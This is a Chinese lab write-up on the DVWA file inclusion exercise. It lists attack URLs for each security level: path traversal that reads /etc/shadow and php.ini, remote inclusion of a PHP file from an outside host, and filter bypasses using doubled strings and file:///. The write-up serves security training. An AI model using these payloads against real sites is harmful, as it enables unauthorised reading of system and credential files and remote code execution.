DVWA之文件包含(File inclusion)

daFile inclusion的意思就是文件包含,当服务器开启了allow_url_include选项时,就可以通过PHP的某些特征函数

include,require和include_once,require_once,,,,利用URL去动态包含文件,此时,如果没有文件的内容和来源进行过滤和判断,

就会导致任意文件读取或者任意命令执行。

文件包含漏洞可以分为本地文件包含和远程文件包含。

远程文件包含漏洞需要开启服务器的allow_url_fopen选项。

LOW

1.本地文件包含 

构造URL

www.dvwa.com/vulnerabilities/fi/?page=/etc/shadow

显示存在的文件,说明目标不是Linux操作系统。

 但是暴露了网站的绝对路径D:webdvwavulnerabilitiesfiindex.php的信息。

构造一个读取绝对路径的URL

www.dvwa.com/vulnerabilities/fi/?page=D:/web/deva/php.ini

www.dvwa.com/vulnerabilities/fi/?page=../../../../../../../../../../../web/dvwa/php.ini

2.利用该漏洞包含一个远程的PHP文件

我在www.a.com的上传一个a.php

<?php
    phpinfo();
?>

我在目标网站包含这个远程的PHP文件

www.dvwa.com/vulnerabilities/fi/?page=www.a.com/a.php

目标网站成功执行了我们包含的PHP文件

可以包含文本文件

可以对链接进行伪装,转成RUL

Medium

在这个级别中,服务端使用str_replace对收到的参数进行了过滤操作。过滤了http,https,“../”,‘..’等字符

1.本地文件包含可以绕过

http://www.dvwa.com/vulnerabilities/fi/?page=....//....//....//....//....//....//....//....//....//web/dvwa/php.ini

 通过这种方式绕过过滤。

2.远程文件包含

http://www.dvwa.com/vulnerabilities/fi/?page=httphttp://://www.a.com/a.txt

 

High

在此级别中,服务对参数进行了筛选,要求参数必须是file开头的文件才会包含

利用Windows的file协议进行包含

http://www.dvwa.com/vulnerabilities/fi/?page=file:///../../../../../../../../../../../web/dvwa/php.ini

impossible

impossible级别对参数彻底进行了限制

原文地址:https://www.cnblogs.com/smallsima/p/8820317.html